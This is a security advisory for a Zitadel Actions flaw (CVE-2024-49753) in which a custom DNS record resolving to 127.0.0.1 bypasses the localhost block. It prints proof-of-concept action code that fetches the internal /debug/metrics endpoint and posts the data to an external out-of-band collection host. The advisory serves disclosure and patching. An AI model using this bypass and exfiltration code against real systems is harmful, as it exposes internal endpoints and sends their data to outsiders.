GHSA-6CF5-W9H3-4RQV
Vulnerability from github – Published: 2024-10-25 19:29 – Updated: 2025-07-09 15:24
VLAI?
Summary
Denied Host Validation Bypass in Zitadel Actions
Details
Summary
A flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.
Details
While attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record.
The relevant action code demonstrates the attempted request to 127.0.0.1:
let http = require('zitadel/http')
let logger = require("zitadel/log")
function make_api_call(ctx, api) {
var user = http.fetch('http://127.0.0.1:8080/debug/metrics');
var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
'data': user,
}),
});
logger.log(api_r.body);
}
By creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request.
The modified action code uses the custom domain instead of 127.0.0.1:
let http = require('zitadel/http')
let logger = require("zitadel/log")
function make_api_call(ctx, api) {
var user = http.fetch('http://ok.jelly244.messwithdns.com:8080/debug/metrics');
var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
'user': user,
}),
});
logger.log(api_r.body);
}
This demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint.
Impact
This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities.
Patches
2.x versions are fixed on >= 2.64.1 2.63.x versions are fixed on >= 2.63.6 2.62.x versions are fixed on >= 2.62.8 2.61.x versions are fixed on >= 2.61.4 2.60.x versions are fixed on >= 2.60.4 2.59.x versions are fixed on >= 2.59.5 2.58.x versions are fixed on >= 2.58.7
Workarounds
There is no workaround since a patch is already available.
Questions
If you have any questions or comments about this advisory, please email us at security@zitadel.com
Credits
Thanks to @prdp1137 for reporting this!
Severity ?
5.9 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel"
},
"ranges": [
{
"events": [
{
"introduced": "2.64.0"
},
{
"fixed": "2.64.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.64.0"
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel"
},
"ranges": [
{
"events": [
{
"introduced": "2.63.0"
},
{
"fixed": "2.63.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel"
},
"ranges": [
{
"events": [
{
"introduced": "2.62.0"
},
{
"fixed": "2.62.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel"
},
"ranges": [
{
"events": [
{
"introduced": "2.61.0"
},
{
"fixed": "2.61.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel"
},
"ranges": [
{
"events": [
{
"introduced": "2.60.0"
},
{
"fixed": "2.60.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel"
},
"ranges": [
{
"events": [
{
"introduced": "2.59.0"
},
{
"fixed": "2.59.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel"
},
"ranges": [
{
"events": [
{
"introduced": "1.80.1"
},
{
"fixed": "2.58.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20241022141644-79fb4cc1cc6e"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0"
},
{
"fixed": "1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-49753"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-25T19:29:20Z",
"nvd_published_at": "2024-10-25T14:15:12Z",
"severity": "MODERATE"
},
"details": "### Summary\nA flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.\n\n### Details\nWhile attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record.\n\u003cimg width=\"781\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6d22dae8-407f-4420-a937-aca53d22d05d\"\u003e\n\nThe relevant action code demonstrates the attempted request to 127.0.0.1:\n```\nlet http = require(\u0027zitadel/http\u0027)\nlet logger = require(\"zitadel/log\")\nfunction make_api_call(ctx, api) {\n var user = http.fetch(\u0027http://127.0.0.1:8080/debug/metrics\u0027);\n\n var api_r = http.fetch(\u0027https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test\u0027, {\n method: \u0027POST\u0027,\n headers: {\n \u0027Content-Type\u0027: \u0027application/json\u0027,\n },\n body: JSON.stringify({\n \u0027data\u0027: user,\n }),\n });\n logger.log(api_r.body);\n}\n```\n\nBy creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request.\n\n\nThe modified action code uses the custom domain instead of 127.0.0.1:\n```\nlet http = require(\u0027zitadel/http\u0027)\nlet logger = require(\"zitadel/log\")\nfunction make_api_call(ctx, api) {\n var user = http.fetch(\u0027http://ok.jelly244.messwithdns.com:8080/debug/metrics\u0027);\n\n var api_r = http.fetch(\u0027https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test\u0027, {\n method: \u0027POST\u0027,\n headers: {\n \u0027Content-Type\u0027: \u0027application/json\u0027,\n },\n body: JSON.stringify({\n \u0027user\u0027: user,\n }),\n });\n logger.log(api_r.body);\n}\n```\n\n\n\nThis demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint.\n\n\n## Impact\n\nThis vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities.\n## Patches\n\n2.x versions are fixed on \u003e= [2.64.1](https://github.com/zitadel/zitadel/releases/tag/v2.64.1)\n2.63.x versions are fixed on \u003e= [2.63.6](https://github.com/zitadel/zitadel/releases/tag/v2.63.6)\n2.62.x versions are fixed on \u003e= [2.62.8](https://github.com/zitadel/zitadel/releases/tag/v2.62.8)\n2.61.x versions are fixed on \u003e= [2.61.4](https://github.com/zitadel/zitadel/releases/tag/v2.61.4)\n2.60.x versions are fixed on \u003e= [2.60.4](https://github.com/zitadel/zitadel/releases/tag/v2.60.4)\n2.59.x versions are fixed on \u003e= [2.59.5](https://github.com/zitadel/zitadel/releases/tag/v2.59.5)\n2.58.x versions are fixed on \u003e= [2.58.7](https://github.com/zitadel/zitadel/releases/tag/v2.58.7)\n\n## Workarounds\n\nThere is no workaround since a patch is already available.\n\n## Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n## Credits\n\nThanks to @prdp1137 for reporting this!",
"id": "GHSA-6cf5-w9h3-4rqv",
"modified": "2025-07-09T15:24:53Z",
"published": "2024-10-25T19:29:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zitadel/zitadel/security/advisories/GHSA-6cf5-w9h3-4rqv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49753"
},
{
"type": "PACKAGE",
"url": "https://github.com/zitadel/zitadel"
},
{
"type": "WEB",
"url": "https://github.com/zitadel/zitadel/releases/tag/v2.58.7"
},
{
"type": "WEB",
"url": "https://github.com/zitadel/zitadel/releases/tag/v2.59.5"
},
{
"type": "WEB",
"url": "https://github.com/zitadel/zitadel/releases/tag/v2.60.4"
},
{
"type": "WEB",
"url": "https://github.com/zitadel/zitadel/releases/tag/v2.61.4"
},
{
"type": "WEB",
"url": "https://github.com/zitadel/zitadel/releases/tag/v2.62.8"
},
{
"type": "WEB",
"url": "https://github.com/zitadel/zitadel/releases/tag/v2.63.6"
},
{
"type": "WEB",
"url": "https://github.com/zitadel/zitadel/releases/tag/v2.64.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Denied Host Validation Bypass in Zitadel Actions"
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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